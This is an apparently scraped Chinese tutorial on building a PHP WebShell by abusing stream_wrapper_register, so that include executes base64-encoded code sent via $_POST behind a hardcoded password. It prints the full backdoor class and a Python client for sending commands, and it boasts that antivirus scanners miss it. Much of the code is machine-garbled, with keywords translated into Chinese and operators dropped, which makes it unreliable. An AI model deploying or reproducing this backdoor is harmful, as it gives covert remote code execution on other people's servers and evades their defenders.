手机版

PHP使用流包装器实现WebShell方法

时间:2021-08-31 来源:互联网 编辑:宝哥软件园 浏览:

000前言

在网络安全领域,WebShell的构建和扼杀是一个永无止境的话题。最近几天发现了一种新的生成WebShell的方式,隐蔽性很高。目前,安全查杀软件无法检测到相关后门漏洞。它不同于以eval或asset的方式运行后门,在这两个功能被禁用时同样适用。目前除了禁用相关功能外,没有相关的方法可以避免漏洞。

001后门原理

在PHP开发中,最常用的指令可能是include指令,include指令中的一些常见文件存在漏洞。让我们先来看看一系列代码:

包括‘http://www . test.com/code . PHP’

我们可以通过这一串代码很容易地引用外部PHP程序,但是只有当配置文件允许执行这个行为时,首先看看我的配置项

;;;Fopen包装纸;;;是否允许将URL(如http://或ftp:/)作为文件处理。http://php.net/allow-url-fopenallow_url_fopen=关;是否允许include/require将URL(如http://或ftp:/)作为文件打开。http://php.net/allow-url-includeallow_url_include=关闭从配置文件中可以看到,allow_url_include被我关闭了,这意味着无法执行远程代码,但是我们在这里使用了一个东西。http://stream,我们知道PHP中很多东西都可以通过stream wrapper来使用,比如常见的php://stream,我们可以通过PHP 3360//input获取输入流来读取请求体的内容,那么按照这个思路,我们可以通过stream wrapper来实现代码执行吗?答案是可行的。通过PHP函数stream_wrapper_register注册包装器,检测具体的URL包装器函数,监控包含流,在包含流中动态生成PHP代码。我将通过下面的代码执行hello world程序来证明这个过程

包括‘hello ://dxkite’;

你好流包装器的实现

代码='位置=0;返回真;} public function stream _ read($ count){ $ ret=substr($ this-code,$this-position,$ count);$ this-position=strlen($ ret);返回$ ret}公共函数stream _ tell(){ return $ this-position;} public function stream _ eof(){ return $ this-position=strlen($ this-code);}公共函数stream_seek($offset,$ why){ switch($ why){ case SEEK _ set : if($ offset strlen($ this-code)$ offset=0){ $ this-position=$ offset;返回真;} else { return false} breakcase SEEK _ cur : if($ offset=0){ $ this-position=$ offset;返回真;} else { return false} breakcase SEEK _ END: if(strlen($ this-code)$ offset=0){ $ this-position=strlen($ this-code)$ offset;返回真;} else { return false} breakdefault:返回false} }公共函数stream _ stat(){ return stat(FILE);} } stream _ wrapper _ register(' hello ',hellostrealm 3360: class);包括‘hello ://dxkite’;通过上面的代码,执行后,可以输出一个hello worldHelloWorld

002后门示例

通过上面的程序,我们可以通过include指令直接执行php并插入想要的效果。现在我们根据这个原理写一个Shell:

秘密的

@ link//dxkite。cn */class ShellStream { protected $ position;受保护的$代码;公共函数stream_open($path,$mode,$options,$ open _ path){ $ URL=parse _ URL($ path);$ name=$ URL[' host '];$ this-code=base64 _ decode($ name);$ this-position=0;返回真;} public function stream _ read($ count){ $ ret=substr($ this-code,$this-position,$ count);$ this-position=strlen($ ret);返回$ ret}公共函数stream _ tell(){ return $ this-position;} public function stream _ eof(){ return $ this-position=strlen($ this-code);}公共函数stream_seek($offset,$ why){ switch($ why){ case SEEK _ set : if($ offset strlen($ this-code)$ offset=0){ $ this-position=$ offset;返回真;} else { return false } break case SEEK _ cur : if($ offset=0){ $ this-position=$ offset;返回真;} else { return false } break case SEEK _ END: if(strlen($ this-code)$ offset=0){ $ this-position=strlen($ this-code)$ offset;返回真;} else { return false } break default :返回false} } //包含公共函数stream _ stat(){ return stat(FILE);}//FILE存在公共函数URL _ stat(string $ path,int $ stat){ return stat(FILE);}公共静态函数shell(){ stream _ wrapper _ register(' shell ',shellstream :类);if(isset($ _ POST[' password '])$ _ POST[' code ']){ if($ _ POST[' password ']==' dxkite '){ $ code=$ _ POST[' code '];包括外壳://.$ code } else { include ' shell ://pd9 wahagzwnobyaiavsbg8gagfjai 7 ';} } } } shell stream :3360 shell();

上述我实现了一个使用$_POST作为输入,接收密码和服务器端编程语言(专业超文本预处理器的缩写)代码的base64并执行代码的后门利用程序

导入请求导入base64import sysdef send_raw(url,密码,cmd): res=requests.post(url,{ 'password':password,' code ' : base64。b 64编码(cmd。编码(' utf-8 ')})返回res.textdef send_php_shell(url,密码,cmd):返回send_raw(url,密码''),如果cmd=='exit': break elif cmd .打印(响应)否则:响应=发送密码、cmd);打印(响应)我们把我们的shell.php部署到服务器上,执行测试shell.py:

php-shell.png

其中,test.php的内容为:

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)包含pd9 wahagzwnobyaiagvsbg8gc 2 hlbgxcclxuijs ';回声'你好,贝壳世界;003 后门查杀

百度在线扫描

安全狗本地扫描

总结

以上所述是小编给大家介绍的服务器端编程语言(专业超文本预处理器的缩写)使用流包装器实现权限的方法,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

版权声明:PHP使用流包装器实现WebShell方法是由宝哥软件园云端程序自动收集整理而来。如果本文侵犯了你的权益,请联系本站底部QQ或者邮箱删除。